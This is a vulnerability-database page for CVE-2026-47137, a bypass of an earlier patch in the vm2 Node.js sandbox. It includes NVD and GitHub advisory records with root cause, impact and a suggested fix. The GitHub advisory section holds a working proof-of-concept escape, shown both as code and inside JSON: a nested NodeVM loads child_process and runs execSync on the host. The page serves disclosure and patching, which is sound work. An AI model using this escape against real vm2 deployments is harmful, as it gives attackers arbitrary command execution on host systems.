Vulnerability-Lookup

CVE-2026-47137 (GCVE-0-2026-47137)

Vulnerability from cvelistv5 – Published: 2026-06-12 14:15 – Updated: 2026-06-13 03:55

Title

vm2: GHSA-8hg8-63c5-gwmx patch bypass: nesting:true without explicit require still allows full RCE

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4.

Severity

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-913 - Improper Control of Dynamically-Managed Code Resources

Assigner

GitHub_M

References

5 references

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	x_refsource_CONFIRM
https://github.com/patriksimek/vm2/commit/01a7552…	x_refsource_MISC
https://github.com/patriksimek/vm2/commit/86ab819…	x_refsource_MISC
https://github.com/advisories/GHSA-g644-9gfx-q4q4	x_refsource_MISC
https://github.com/patriksimek/vm2/releases/tag/v3.11.4	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
patriksimek	vm2	Affected: < 3.11.4

Show details on NVD website

JSON

To clipboard

{
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FKIE_CVE-2026-47137

Vulnerability from fkie_nvd - Published: 2026-06-12 15:16 - Updated: 2026-06-12 16:03

Severity

10.0 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/advisories/GHSA-g644-9gfx-q4q4
	security-advisories@github.com	https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568
	security-advisories@github.com	https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7
	security-advisories@github.com	https://github.com/patriksimek/vm2/releases/tag/v3.11.4
	security-advisories@github.com	https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, the fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely. When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent. This issue has been patched in version 3.11.4."
    }
  ],
  "id": "CVE-2026-47137",
  "lastModified": "2026-06-12T16:03:15.620",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 10.0,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-06-12T15:16:28.137",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/advisories/GHSA-g644-9gfx-q4q4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-913"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-M4WX-M65X-GHRR

Vulnerability from github – Published: 2026-05-29 17:50 – Updated: 2026-06-12 20:52

Summary

vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE

Details

Summary

The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in nodevm.js line 263 that blocks the combination nesting: true + require: false. However, the check uses strict equality (options.require === false), which is trivially bypassed by omitting the require option entirely.

When require is not specified, options.require is undefined, not false. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default require: requireOpts = false assigns requireOpts = false, producing the exact configuration the patch was designed to prevent.

Root Cause

// nodevm.js:263 — the security check
if (options.nesting === true && options.require === false) {
    throw new VMError('...');
}
// nodevm.js:280 — the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
//   - Line 263: undefined === false → FALSE → check skipped
//   - Line 280: requireOpts = false → same as require:false

Impact

Full Remote Code Execution on the host system. An attacker running code inside a NodeVM({ nesting: true }) sandbox (without specifying require) can:

require('vm2') to get the vm2 library
Construct an inner NodeVM with require: { builtin: ['child_process'] }
Execute arbitrary OS commands via child_process.execSync

The inner VM is completely unconstrained by the outer sandbox configuration.

Reproduction

const { NodeVM } = require('vm2');

// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });

const result = nvm.run(`
  const { NodeVM } = require('vm2');
  const inner = new NodeVM({
    require: { builtin: ['child_process'] }
  });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'exploit.js'
  );
`, 'exploit.js');

console.log(result); // prints host uid/gid — full RCE

Suggested Fix

// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
    throw new VMError('...');
}

Or move the check after the destructuring default assignment:

const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
    throw new VMError('...');
}

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47137"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T17:50:22Z",
    "nvd_published_at": "2026-06-12T15:16:28Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely.\n\nWhen `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent.\n\n## Root Cause\n\n```javascript\n// nodevm.js:263 \u2014 the security check\nif (options.nesting === true \u0026\u0026 options.require === false) {\n    throw new VMError(\u0027...\u0027);\n}\n// nodevm.js:280 \u2014 the default assignment (AFTER the check)\nconst { require: requireOpts = false } = options;\n// When options.require is undefined:\n//   - Line 263: undefined === false \u2192 FALSE \u2192 check skipped\n//   - Line 280: requireOpts = false \u2192 same as require:false\n```\n\n## Impact\n\nFull Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can:\n\n1. `require(\u0027vm2\u0027)` to get the vm2 library\n2. Construct an inner `NodeVM` with `require: { builtin: [\u0027child_process\u0027] }`\n3. Execute arbitrary OS commands via `child_process.execSync`\n\nThe inner VM is completely unconstrained by the outer sandbox configuration.\n\n## Reproduction\n\n```javascript\nconst { NodeVM } = require(\u0027vm2\u0027);\n\n// nesting:true, require not specified (defaults to false AFTER the check)\nconst nvm = new NodeVM({ nesting: true });\n\nconst result = nvm.run(`\n  const { NodeVM } = require(\u0027vm2\u0027);\n  const inner = new NodeVM({\n    require: { builtin: [\u0027child_process\u0027] }\n  });\n  module.exports = inner.run(\n    \"module.exports = require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString()\",\n    \u0027exploit.js\u0027\n  );\n`, \u0027exploit.js\u0027);\n\nconsole.log(result); // prints host uid/gid \u2014 full RCE\n```\n\n## Suggested Fix\n\n```javascript\n// Change the check to catch both false and undefined/omitted:\nif (options.nesting === true \u0026\u0026 !options.require) {\n    throw new VMError(\u0027...\u0027);\n}\n```\n\nOr move the check after the destructuring default assignment:\n\n```javascript\nconst { require: requireOpts = false } = options;\nif (options.nesting === true \u0026\u0026 !requireOpts) {\n    throw new VMError(\u0027...\u0027);\n}\n```",
  "id": "GHSA-m4wx-m65x-ghrr",
  "modified": "2026-06-12T20:52:53Z",
  "published": "2026-05-29T17:50:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m4wx-m65x-ghrr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47137"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/01a7552add345d5a6862623884e6b79a85bf0568"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/86ab819f202c3a8dad88cef5705f2e416c5188d7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 has a CVE-2023-37903 patch bypass: nesting:true without explicit require still allows full RCE"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-47137 (GCVE-0-2026-47137)

FKIE_CVE-2026-47137

GHSA-M4WX-M65X-GHRR

Summary

Root Cause

Impact

Reproduction

Suggested Fix

Tags

Sightings

Nomenclature